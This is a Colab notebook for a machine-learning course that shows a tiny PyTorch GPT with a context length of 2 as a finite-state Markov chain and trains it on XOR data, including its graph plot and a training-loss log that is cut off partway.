xor_gpt_finite_state.ipynb

{
  "nbformat": 4,
  "nbformat_minor": 0,
  "metadata": {
    "colab": {
      "provenance": [],
      "include_colab_link": true
    },
    "kernelspec": {
      "name": "python3",
      "display_name": "Python 3"
    },
    "language_info": {
      "name": "python"
    }
  },
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {
        "id": "view-in-github",
        "colab_type": "text"
      },
      "source": [
        "<a href=\"https://colab.research.google.com/github/foxtrotmike/CS909/blob/master/xor_gpt_finite_state.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>"
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "## GPT as a finite-state markov chain to learn XOR\n",
        "By\n",
        "Fayyaz Minhas (adapted from the post by [Andrej Karpathy](https://twitter.com/karpathy/status/1645115622517542913?lang=en))\n",
        "\n",
        "GPT is a neural net that takes some sequence of discrete tokens and predicts a probabilities for a next token in the sequence. For example, if there are only two tokens 0 and 1, then a tiny little binary GPT could e.g. tell us that:\n",
        "\n",
        "```\n",
        "[0,1] ---> GPT ---> [P(0) = 0%, P(1) = 100%]\n",
        "```\n",
        "\n",
        "Here, GPT took the sequence of bits [0,1] and, based on the current setting of parameters, predicted that there is an 100% chance of 1 coming next. Importantly, GPTs by default have a finite context length. For example, if the context length is 2 then they can only take up to 2 tokens at the input. In the case above, if we flip a biased coin and sample that 1 should indeed come next, then we'd transition from the original state [0,1] to a new state [1,1]. We've added the new bit (1) on the right, and truncated the sequence to the context length 2 by discarding the leftmost bit (0). We can then repeat this process over and over again to transition between states.\n",
        "\n",
        "Clearly then, GPT is a finite-state markov chain: there is a finite set of states and probabilistic transitions arrows between them. Each state is defined by a specific setting of the token identities at the input to the GPT (e.g. [0,1]). And we can transition to new states like [1,1] with some probability. Let's see how this works in detail."
      ],
      "metadata": {
        "id": "mGHwSuHQuTXI"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# hyperparameters for our GPT\n",
        "\n",
        "# vocab size is 2, so we only have two possible tokens: 0,1\n",
        "vocab_size = 2\n",
        "# context length is 3, so we take 3 bits to predict the next bit probability\n",
        "context_length = 2"
      ],
      "metadata": {
        "id": "d7utFz27cO9q"
      },
      "execution_count": 1,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "The input to the GPT neural net is a sequence of tokens of length `context_length`. These tokens are discrete, so the state space is simply:"
      ],
      "metadata": {
        "id": "Y60T3enLvRx6"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "print('state space (for this exercise) = ', vocab_size ** context_length)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "bA0U1bJKu5Cc",
        "outputId": "2791f23e-373b-4a30-87a0-0bcb5c5c01de"
      },
      "execution_count": 2,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "state space (for this exercise) =  4\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "**Detail**: To be exact, a GPT can take any number of tokens from 1 to `context_length`. So if the context length is 3, we could in principle feed in 1 token, 2 tokens or 3 tokens, when trying to predict the next token. Here we are going to ignore this and assume that the context length is \"maxed out\", just to simplify some of the code below, but this is worth keeping in mind."
      ],
      "metadata": {
        "id": "m1q40BfkevBw"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "print('actual state space (in reality) = ', sum(vocab_size ** i for i in range(1, context_length+1)))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "u8YYpQadeyrY",
        "outputId": "a32916a6-adcc-4a34-ef52-4a8abf37e2da"
      },
      "execution_count": 3,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "actual state space (in reality) =  6\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "We are now going to define a GPT in PyTorch. You do not have to understand any of this code for the purposes of this notebook, so I will keep it collapsed by default."
      ],
      "metadata": {
        "id": "lLPtEPUUwa4G"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "#@title minimal GPT implementation in PyTorch (optional)\n",
        "\"\"\" super minimal decoder-only gpt \"\"\"\n",
        "\n",
        "import math\n",
        "from dataclasses import dataclass\n",
        "import torch\n",
        "import torch.nn as nn\n",
        "from torch.nn import functional as F\n",
        "\n",
        "torch.manual_seed(1337)\n",
        "\n",
        "class CausalSelfAttention(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        assert config.n_embd % config.n_head == 0\n",
        "        # key, query, value projections for all heads, but in a batch\n",
        "        self.c_attn = nn.Linear(config.n_embd, 3 * config.n_embd, bias=config.bias)\n",
        "        # output projection\n",
        "        self.c_proj = nn.Linear(config.n_embd, config.n_embd, bias=config.bias)\n",
        "        # regularization\n",
        "        self.n_head = config.n_head\n",
        "        self.n_embd = config.n_embd\n",
        "        self.register_buffer(\"bias\", torch.tril(torch.ones(config.block_size, config.block_size))\n",
        "                                    .view(1, 1, config.block_size, config.block_size))\n",
        "\n",
        "    def forward(self, x):\n",
        "        B, T, C = x.size() # batch size, sequence length, embedding dimensionality (n_embd)\n",
        "\n",
        "        # calculate query, key, values for all heads in batch and move head forward to be the batch dim\n",
        "        q, k ,v  = self.c_attn(x).split(self.n_embd, dim=2)\n",
        "        k = k.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)\n",
        "        q = q.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)\n",
        "        v = v.view(B, T, self.n_head, C // self.n_head).transpose(1, 2) # (B, nh, T, hs)\n",
        "\n",
        "        # manual implementation of attention\n",
        "        att = (q @ k.transpose(-2, -1)) * (1.0 / math.sqrt(k.size(-1)))\n",
        "        att = att.masked_fill(self.bias[:,:,:T,:T] == 0, float('-inf'))\n",
        "        att = F.softmax(att, dim=-1)\n",
        "        y = att @ v # (B, nh, T, T) x (B, nh, T, hs) -> (B, nh, T, hs)\n",
        "        y = y.transpose(1, 2).contiguous().view(B, T, C) # re-assemble all head outputs side by side\n",
        "\n",
        "        # output projection\n",
        "        y = self.c_proj(y)\n",
        "        return y\n",
        "\n",
        "class MLP(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        self.c_fc    = nn.Linear(config.n_embd, 4 * config.n_embd, bias=config.bias)\n",
        "        self.c_proj  = nn.Linear(4 * config.n_embd, config.n_embd, bias=config.bias)\n",
        "        self.nonlin = nn.GELU()\n",
        "\n",
        "    def forward(self, x):\n",
        "        x = self.c_fc(x)\n",
        "        x = self.nonlin(x)\n",
        "        x = self.c_proj(x)\n",
        "        return x\n",
        "\n",
        "class Block(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        self.ln_1 = nn.LayerNorm(config.n_embd)\n",
        "        self.attn = CausalSelfAttention(config)\n",
        "        self.ln_2 = nn.LayerNorm(config.n_embd)\n",
        "        self.mlp = MLP(config)\n",
        "\n",
        "    def forward(self, x):\n",
        "        x = x + self.attn(self.ln_1(x))\n",
        "        x = x + self.mlp(self.ln_2(x))\n",
        "        return x\n",
        "\n",
        "@dataclass\n",
        "class GPTConfig:\n",
        "    # these are default GPT-2 hyperparameters\n",
        "    block_size: int = 1024\n",
        "    vocab_size: int = 50304\n",
        "    n_layer: int = 12\n",
        "    n_head: int = 12\n",
        "    n_embd: int = 768\n",
        "    bias: bool = False\n",
        "\n",
        "class GPT(nn.Module):\n",
        "\n",
        "    def __init__(self, config):\n",
        "        super().__init__()\n",
        "        assert config.vocab_size is not None\n",
        "        assert config.block_size is not None\n",
        "        self.config = config\n",
        "\n",
        "        self.transformer = nn.ModuleDict(dict(\n",
        "            wte = nn.Embedding(config.vocab_size, config.n_embd),\n",
        "            wpe = nn.Embedding(config.block_size, config.n_embd),\n",
        "            h = nn.ModuleList([Block(config) for _ in range(config.n_layer)]),\n",
        "            ln_f = nn.LayerNorm(config.n_embd),\n",
        "        ))\n",
        "        self.lm_head = nn.Linear(config.n_embd, config.vocab_size, bias=False)\n",
        "        self.transformer.wte.weight = self.lm_head.weight # https://paperswithcode.com/method/weight-tying\n",
        "\n",
        "        # init all weights\n",
        "        self.apply(self._init_weights)\n",
        "        # apply special scaled init to the residual projections, per GPT-2 paper\n",
        "        for pn, p in self.named_parameters():\n",
        "            if pn.endswith('c_proj.weight'):\n",
        "                torch.nn.init.normal_(p, mean=0.0, std=0.02/math.sqrt(2 * config.n_layer))\n",
        "\n",
        "        # report number of parameters\n",
        "        print(\"number of parameters: %d\" % (sum(p.nelement() for p in self.parameters()),))\n",
        "\n",
        "    def _init_weights(self, module):\n",
        "        if isinstance(module, nn.Linear):\n",
        "            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)\n",
        "            if module.bias is not None:\n",
        "                torch.nn.init.zeros_(module.bias)\n",
        "        elif isinstance(module, nn.Embedding):\n",
        "            torch.nn.init.normal_(module.weight, mean=0.0, std=0.02)\n",
        "\n",
        "    def forward(self, idx):\n",
        "        device = idx.device\n",
        "        b, t = idx.size()\n",
        "        assert t <= self.config.block_size, f\"Cannot forward sequence of length {t}, block size is only {self.config.block_size}\"\n",
        "        pos = torch.arange(0, t, dtype=torch.long, device=device).unsqueeze(0) # shape (1, t)\n",
        "\n",
        "        # forward the GPT model itself\n",
        "        tok_emb = self.transformer.wte(idx) # token embeddings of shape (b, t, n_embd)\n",
        "        pos_emb = self.transformer.wpe(pos) # position embeddings of shape (1, t, n_embd)\n",
        "        x = tok_emb + pos_emb\n",
        "        for block in self.transformer.h:\n",
        "            x = block(x)\n",
        "        x = self.transformer.ln_f(x)\n",
        "        logits = self.lm_head(x[:, -1, :]) # note: only returning logits at the last time step (-1), output is 2D (b, vocab_size)\n",
        "        return logits\n",
        "\n"
      ],
      "metadata": {
        "id": "wW1-8xqswRYg"
      },
      "execution_count": 4,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "Let's now construct the GPT:"
      ],
      "metadata": {
        "id": "QMkDoUgrxODM"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "config = GPTConfig(\n",
        "    block_size = context_length,\n",
        "    vocab_size = vocab_size,\n",
        "    n_layer = 4,\n",
        "    n_head = 4,\n",
        "    n_embd = 16,\n",
        "    bias = False,\n",
        ")\n",
        "gpt = GPT(config)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "G6ouKrJ0wr03",
        "outputId": "b777f457-455e-42fd-fc0c-2c1013ba3c79"
      },
      "execution_count": 5,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "number of parameters: 12640\n"
          ]
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "For this notebook you don't have to worry about `n_layer, n_head, n_embd, bias`, these are just some hyperparameters for the Transformer neural net that implements the GPT.\n",
        "\n",
        "The parameters of the GPT (12,656 of them) are initialized at random, and they parameterize the transition probabilities between the states. If you smoothly change these parameters, you will smoothly impact the transition probabilities between the states.\n",
        "\n",
        "Now let's take our randomly initialized GPT for a spin. Let's get all the possible inputs to our little binary GPT with context length of 2:"
      ],
      "metadata": {
        "id": "3V3GV9XGxcH5"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "def all_possible(n, k):\n",
        "    # return all possible lists of k elements, each in range of [0,n)\n",
        "    if k == 0:\n",
        "        yield []\n",
        "    else:\n",
        "        for i in range(n):\n",
        "            for c in all_possible(n, k - 1):\n",
        "                yield [i] + c\n",
        "list(all_possible(vocab_size, context_length))"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "eNAcd1qYxZ1P",
        "outputId": "16660432-420d-463f-eb52-32069a594c49"
      },
      "execution_count": 6,
      "outputs": [
        {
          "output_type": "execute_result",
          "data": {
            "text/plain": [
              "[[0, 0], [0, 1], [1, 0], [1, 1]]"
            ]
          },
          "metadata": {},
          "execution_count": 6
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "These 4 possibilities are the 4 possible states the GPT can be in. So let's run the GPT on every one of these possible token sequence and get the probabilities of the next token in the sequence, and plot as a pretty graph:"
      ],
      "metadata": {
        "id": "em56_pfu0hNd"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# we'll use graphviz for pretty plotting the current state of the GPT\n",
        "from graphviz import Digraph\n",
        "\n",
        "def plot_model():\n",
        "    dot = Digraph(comment='Baby GPT', engine='circo')\n",
        "\n",
        "    for xi in all_possible(gpt.config.vocab_size, gpt.config.block_size):\n",
        "\n",
        "        # forward the GPT and get probabilities for next token\n",
        "        x = torch.tensor(xi, dtype=torch.long)[None, ...] # turn the list into a torch tensor and add a batch dimension\n",
        "        logits = gpt(x) # forward the gpt neural net\n",
        "        probs = nn.functional.softmax(logits, dim=-1) # get the probabilities\n",
        "        y = probs[0].tolist() # remove the batch dimension and unpack the tensor into simple list\n",
        "        print(f\"input {xi} ---> {y}\")\n",
        "\n",
        "        # also build up the transition graph for plotting later\n",
        "        current_node_signature = \"\".join(str(d) for d in xi)\n",
        "        dot.node(current_node_signature)\n",
        "        for t in range(gpt.config.vocab_size):\n",
        "            next_node = xi[1:] + [t] # crop the context and append the next character\n",
        "            next_node_signature = \"\".join(str(d) for d in next_node)\n",
        "            p = y[t]\n",
        "            label=f\"{t}({p*100:.0f}%)\"\n",
        "            dot.edge(current_node_signature, next_node_signature, label=label)\n",
        "\n",
        "    return dot\n",
        "\n",
        "plot_model()"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/",
          "height": 365
        },
        "id": "yseminfTx52k",
        "outputId": "709b7325-c6bb-43e4-dc00-d4e284c5f943"
      },
      "execution_count": 7,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "input [0, 0] ---> [0.5834338068962097, 0.4165661931037903]\n",
            "input [0, 1] ---> [0.4045574963092804, 0.5954424738883972]\n",
            "input [1, 0] ---> [0.5810206532478333, 0.418979287147522]\n",
            "input [1, 1] ---> [0.40443000197410583, 0.5955699682235718]\n"
          ]
        },
        {
          "output_type": "execute_result",
          "data": {
            "image/svg+xml": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\"\n \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n<!-- Generated by graphviz version 2.43.0 (0)\n -->\n<!-- Title: %3 Pages: 1 -->\n<svg width=\"222pt\" height=\"204pt\"\n viewBox=\"0.00 0.00 222.43 204.43\" xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\">\n<g id=\"graph0\" class=\"graph\" transform=\"scale(1 1) rotate(0) translate(4 200.43)\">\n<title>%3</title>\n<polygon fill=\"white\" stroke=\"transparent\" points=\"-4,4 -4,-200.43 218.43,-200.43 218.43,4 -4,4\"/>\n<!-- 00 -->\n<g id=\"node1\" class=\"node\">\n<title>00</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"107.21\" cy=\"-18\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"107.21\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">00</text>\n</g>\n<!-- 00&#45;&gt;00 -->\n<g id=\"edge1\" class=\"edge\">\n<title>00&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M132.66,-24.69C143.24,-25.15 152.21,-22.92 152.21,-18 152.21,-14.77 148.35,-12.7 142.7,-11.79\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"142.81,-8.29 132.66,-11.31 142.48,-15.28 142.81,-8.29\"/>\n<text text-anchor=\"middle\" x=\"173.21\" y=\"-14.3\" font-family=\"Times,serif\" font-size=\"14.00\">0(58%)</text>\n</g>\n<!-- 01 -->\n<g id=\"node2\" class=\"node\">\n<title>01</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"27\" cy=\"-98.21\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"27\" y=\"-94.51\" font-family=\"Times,serif\" font-size=\"14.00\">01</text>\n</g>\n<!-- 00&#45;&gt;01 -->\n<g id=\"edge2\" class=\"edge\">\n<title>00&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M92.13,-33.09C80.03,-45.19 62.87,-62.35 49.2,-76.01\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"46.62,-73.65 42.02,-83.19 51.57,-78.6 46.62,-73.65\"/>\n<text text-anchor=\"middle\" x=\"49.66\" y=\"-58.35\" font-family=\"Times,serif\" font-size=\"14.00\">1(42%)</text>\n</g>\n<!-- 10 -->\n<g id=\"node3\" class=\"node\">\n<title>10</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"187.43\" cy=\"-98.21\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"187.43\" y=\"-94.51\" font-family=\"Times,serif\" font-size=\"14.00\">10</text>\n</g>\n<!-- 01&#45;&gt;10 -->\n<g id=\"edge3\" class=\"edge\">\n<title>01&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M53.13,-103.35C79.82,-105.27 121.45,-105.48 151.29,-103.96\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"151.54,-107.45 161.31,-103.35 151.11,-100.47 151.54,-107.45\"/>\n<text text-anchor=\"middle\" x=\"81.21\" y=\"-107.46\" font-family=\"Times,serif\" font-size=\"14.00\">0(40%)</text>\n</g>\n<!-- 11 -->\n<g id=\"node4\" class=\"node\">\n<title>11</title>\n<ellipse fill=\"none\" stroke=\"black\" cx=\"107.21\" cy=\"-178.43\" rx=\"27\" ry=\"18\"/>\n<text text-anchor=\"middle\" x=\"107.21\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">11</text>\n</g>\n<!-- 01&#45;&gt;11 -->\n<g id=\"edge4\" class=\"edge\">\n<title>01&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M42.09,-113.3C54.19,-125.4 71.35,-142.56 85.01,-156.23\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"82.65,-158.81 92.19,-163.41 87.6,-153.86 82.65,-158.81\"/>\n<text text-anchor=\"middle\" x=\"42.55\" y=\"-138.57\" font-family=\"Times,serif\" font-size=\"14.00\">1(60%)</text>\n</g>\n<!-- 10&#45;&gt;00 -->\n<g id=\"edge5\" class=\"edge\">\n<title>10&#45;&gt;00</title>\n<path fill=\"none\" stroke=\"black\" d=\"M172.34,-83.13C160.24,-71.03 143.08,-53.87 129.41,-40.2\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"131.78,-37.62 122.23,-33.02 126.83,-42.57 131.78,-37.62\"/>\n<text text-anchor=\"middle\" x=\"129.88\" y=\"-65.46\" font-family=\"Times,serif\" font-size=\"14.00\">0(58%)</text>\n</g>\n<!-- 10&#45;&gt;01 -->\n<g id=\"edge6\" class=\"edge\">\n<title>10&#45;&gt;01</title>\n<path fill=\"none\" stroke=\"black\" d=\"M161.3,-93.07C134.61,-91.15 92.97,-90.95 63.14,-92.47\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"62.89,-88.98 53.12,-93.07 63.32,-95.96 62.89,-88.98\"/>\n<text text-anchor=\"middle\" x=\"91.22\" y=\"-81.57\" font-family=\"Times,serif\" font-size=\"14.00\">1(42%)</text>\n</g>\n<!-- 11&#45;&gt;10 -->\n<g id=\"edge7\" class=\"edge\">\n<title>11&#45;&gt;10</title>\n<path fill=\"none\" stroke=\"black\" d=\"M122.3,-163.34C134.4,-151.24 151.56,-134.08 165.23,-120.41\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"167.81,-122.78 172.41,-113.23 162.86,-117.83 167.81,-122.78\"/>\n<text text-anchor=\"middle\" x=\"122.77\" y=\"-145.68\" font-family=\"Times,serif\" font-size=\"14.00\">0(40%)</text>\n</g>\n<!-- 11&#45;&gt;11 -->\n<g id=\"edge8\" class=\"edge\">\n<title>11&#45;&gt;11</title>\n<path fill=\"none\" stroke=\"black\" d=\"M132.66,-185.12C143.24,-185.58 152.21,-183.35 152.21,-178.43 152.21,-175.2 148.35,-173.13 142.7,-172.22\"/>\n<polygon fill=\"black\" stroke=\"black\" points=\"142.81,-168.72 132.66,-171.74 142.48,-175.71 142.81,-168.72\"/>\n<text text-anchor=\"middle\" x=\"173.21\" y=\"-174.73\" font-family=\"Times,serif\" font-size=\"14.00\">1(60%)</text>\n</g>\n</g>\n</svg>\n",
            "text/plain": [
              "<graphviz.graphs.Digraph at 0x78e47c17ec20>"
            ]
          },
          "metadata": {},
          "execution_count": 7
        }
      ]
    },
    {
      "cell_type": "markdown",
      "source": [
        "We see our 4 states, and the probabilistic arrows that connect them. Because there are 2 possible tokens, there are 2 possible arrows coming out of each node. Note that every time we \"transition\" via an edge, the leftmost token gets dropped, and the token on that edge gets appended to the right. Notice that at initialization, most of these probabilities are around uniform (50% in this case), which is nice and desirable, as we haven't even trained the model at all.\n",
        "\n",
        "Let's do that now. We will create data based on the XOR problem, i.e., we will give a list of tokens in X_data and the next token in Y_data based on the XOR problem. This is akin to giving a bit string 1011011011..."
      ],
      "metadata": {
        "id": "2Y7meqjmiVgu"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "X_data = [[1, 1], [1, 0], [0, 1], [0, 0]]\n",
        "Y_data = [0, 1, 1, 0]\n",
        "\n",
        "# Create the tensors\n",
        "X = torch.tensor(X_data, dtype=torch.long)\n",
        "Y = torch.tensor(Y_data, dtype=torch.long)"
      ],
      "metadata": {
        "id": "3Vvp05-M0PXb"
      },
      "execution_count": 8,
      "outputs": []
    },
    {
      "cell_type": "markdown",
      "source": [
        "We see that we have 4 examples in that one sequence. Let's train it now:"
      ],
      "metadata": {
        "id": "33xumDtdi-ND"
      }
    },
    {
      "cell_type": "code",
      "source": [
        "# init a GPT and the optimizer\n",
        "torch.manual_seed(1337)\n",
        "gpt = GPT(config)\n",
        "optimizer = torch.optim.AdamW(gpt.parameters(), lr=1e-3, weight_decay=1e-1)"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "gD2Qp9Os39eA",
        "outputId": "2939dca4-34b5-4ee1-83e1-8d6fe7d1c666"
      },
      "execution_count": 9,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "number of parameters: 12640\n"
          ]
        }
      ]
    },
    {
      "cell_type": "code",
      "source": [
        "# train the GPT for some number of iterations\n",
        "for i in range(500):\n",
        "    logits = gpt(X)\n",
        "    loss = F.cross_entropy(logits, Y)\n",
        "    loss.backward()\n",
        "    optimizer.step()\n",
        "    optimizer.zero_grad()\n",
        "    print(i, loss.item())"
      ],
      "metadata": {
        "colab": {
          "base_uri": "https://localhost:8080/"
        },
        "id": "NLe5w34v3xkR",
        "outputId": "febde995-2a64-40f6-afc0-596c40354038"
      },
      "execution_count": 10,
      "outputs": [
        {
          "output_type": "stream",
          "name": "stdout",
          "text": [
            "0 0.7081212401390076\n",
            "1 0.6940015554428101\n",
            "2 0.6906310319900513\n",
            "3 0.6850968599319458\n",
            "4 0.6735427975654602\n",
            "5 0.6615058183670044\n",
            "6 0.6431671380996704\n",
            "7 0.6334065198898315\n",
            "8 0.6264753341674805\n",
            "9 0.6182411909103394\n",
            "10 0.609641432762146\n",
            "11 0.6022179126739502\n",
            "12 0.5967854261398315\n",
            "13 0.5947369337081909\n",
            "14 0.5918006896972656\n",
            "15 0.5896522998809814\n",
            "16 0.5879465937614441\n",
            "17 0.5862185955047607\n",
            "18 0.5844300985336304\n",
            "19 0.5825926661491394\n",
            "20 0.580720067024231\n",
            "21 0.5788295865058899\n",
            "22 0.5769396424293518\n",
            "23 0.575067400932312\n",
            "24 0.5732259750366211\n",
            "25 0.5714235305786133\n",
            "26 0.569663405418396\n",
            "27 0.5679440498352051\n",
            "28 0.5662600994110107\n",
            "29 0.5646023750305176\n",
            "30 0.5629590749740601\n",
            "31 0.5613154172897339\n",
            "32 0.559654176235199\n",
            "33 0.5579546093940735\n",
            "34 0.55619215965271\n",
            "35 0.5543363690376282\n",
            "36 0.5523498058319092\n",
            "37 0.5501852631568909\n",
            "38 0.547784686088562\n",
            "39 0.5450800061225891\n",
            "40 0.5419981479644775\n",
            "41 0.5384697914123535\n",
            "42 0.5344270467758179\n",
            "43 0.5298210382461548\n",
            "44 0.5248443484306335\n",
            "45 0.5179125666618347\n",
            "46 0.5109070539474487\n",
            "47 0.5034631490707397\n",
            "48 0.4953368902206421\n",
            "49 0.48508307337760925\n",
            "50 0.4731742739677429\n",
            "51 0.4591059684753418\n",
            "52 0.44414329528808594\n",
            "53 0.43357008695602417\n",
            "54 0.44663238525390625\n",
            "55 0.4052245020866394\n",
            "56 0.39824169874191284\n",
            "57 0.39236003160476685\n",
            "58 0.3869316279888153\n",
            "59 0.39885175228118896\n",
            "60 0.36580803990364075\n",
            "61 0.3566892147064209\n",
            "62 0.33794164657592773\n",
            "63 0.32150357961654663\n",
            "64 0.3191571533679962\n",
            "65 0.30712613463401794\n",
            "66 0.27938079833984375\n",
            "67 0.2724282145500183\n",
            "68 0.2537808120250702\n",
            "69 0.25183048844337463\n",
            "70 0.25350144505500793\n",
            "71 0.237047016620636\n",
            "72 0.22622716426849365\n",
            "73 0.21758875250816345\n",
            "74 0.20668333768844604\n",
            "75 0.19383612275123596\n",
            "76 0.18175315856933594\n",
            "77 0.17274875938892365\n",
            "78 0.16686801612377167\n",
            "79 0.16118957102298737\n",
            "80 0.15482328832149506\n",
            "81 0.14971163868904114\n",
            "82 0.1453796625137329\n",
            "83 0.14155921339988708\n",
            "84 0.1381087601184845\n",
            "85 0.13487885892391205\n",
            "86 0.13174337148666382\n",
            "87 0.128633052110672\n",
            "88 0.12553192675113678\n",
            "89 0.1224551796913147\n",
            "90 0.11942800134420395\n",
            "91 0.11647415161132812\n",
            "92 0.11361127346754074\n",
            "93 0.11084984242916107\n",
            "94 0.1081942543387413\n",
            "95 0.10564450919628143\n",
            "96 0.10319798439741135\n",
            "97 0.10085052251815796\n",
            "98 0.09859713912010193\n",
            "99 0.09643279016017914\n",
            "100 0.09435227513313293\n",
            "101 0.09235036373138428\n",
            "102 0.09042216092348099\n",
            "103 0.08856283128261566\n",
            "104 0.08676772564649582\n",
            "105 0.08503285050392151\n",
            "106 0.0833541676402092\n",
            "107 0.08172831684350967\n",
            "108 0.08015221357345581\n",
            "109 0.07862311601638794\n",
            "110 0.07713878154754639\n",
            "111 0.07569701969623566\n",
            "112 0.07429614663124084\n",
            "113 0.07293474674224854\n",
            "114 0.07161139696836472\n",
            "115 0.0703250989317894\n",
            "116 0.06907476484775543\n",
            "117 0.06785941123962402\n",
            "118 0.06667815893888474\n",
            "119 0.06553003191947937\n",
            "120 0.06441394984722137\n",
            "121 0.06332893669605255\n",
            "122 0.062273941934108734\n",
            "123 0.06124784052371979\n",
            "124 0.06024964898824692\n",
            "125 0.0592782199382782\n",
            "126 0.058332569897174835\n",
            "127 0.05741176754236221\n",
            "128 0.05651485547423363\n",
            "129 0.05564098060131073\n",
            "130 0.05478930100798607\n",
            "131 0.053959108889102936\n",
            "132 0.05314955487847328\n",
            "133 0.05236002057790756\n",
            "134 0.051589757204055786\n",
            "135 0.05083807557821274\n",
            "136 0.050104279071092606\n",
            "137 0.049387816339731216\n",
            "138 0.048688020557165146\n",
            "139 0.04800429195165634\n",
            "140 0.04733610898256302\n",
            "141 0.04668295383453369\n",
            "142 0.04604426398873329\n",
            "143 0.04541969671845436\n",
            "144 0.04480873793363571\n",
            "145 0.04421098530292511\n",
            "146 0.0436260960996151\n",
            "147 0.04305372014641762\n",
            "148 0.04249347746372223\n",
            "149 0.041945021599531174\n",
            "150 0.04140811413526535\n",
            "151 0.04088228940963745\n",
            "152 0.040367305278778076\n",
            "153 0.03986283764243126\n",
            "154 0.039368610829114914\n",
            "155 0.038884248584508896\n",
            "156 0.03840959072113037\n",
            "157 0.0379442423582077\n",
            "158 0.03748806193470955\n",
            "159 0.037040673196315765\n",
            "160 0.036601949483156204\n",
            "161 0.03617158904671669\n",
            "162 0.035749368369579315\n",
            "163 0.035335101187229156\n",
            "164 0.03492859750986099\n",
            "165 0.03452957421541214\n",
            "166 0.03413793072104454\n",
            "167 0.033753447234630585\n",
            "168 0.033375952392816544\n",
            "169 0.03300522267818451\n",
            "170 0.032641131430864334\n",
            "171 0.0322834774851799\n",
            "172 0.03193215653300285\n",
            "173 0.03158700093626976\n",
            "174 0.031247809529304504\n",
            "175 0.03091445006430149\n",
            "176 0.030586816370487213\n",
            "177 0.030264735221862793\n",
            "178 0.029948092997074127\n",
            "179 0.029636817052960396\n",
            "180 0.029330678284168243\n",
            "181 0.029029622673988342\n",
            "182 0.0287335067987442\n",
            "183 0.028442256152629852\n",
            "184 0.028155721724033356\n",
            "185 0.027873771265149117\n",
            "186 0.027596430853009224\n",
            "187 0.027323447167873383\n",
            "188 0.027054794132709503\n",
            "189 0.026790359988808632\n",
            "190 0.026530060917139053\n",
            "191 0.02627386897802353\n",
            "192 0.026021558791399002\n",
            "193 0.02577318623661995\n",
            "194 0.02552858740091324\n",
            "195 0.025287702679634094\n",
            "196 0.0250504482537508\n",
            "197 0.024816768243908882\n",
            "198 0.024586549028754234\n",
            "199 0.02435976453125477\n",
            "200 0.02413630113005638\n",
            "201 0.023916129022836685\n",
            "202 0.023699168115854263\n",
            "203 0.023485330864787102\n",
            "204 0.02327461913228035\n",
            "205 0.023066921159625053\n",
            "206 0.02286214381456375\n",
            "207 0.02266029641032219\n",
            "208 0.02246132306754589\n",
            "209 0.022265076637268066\n",
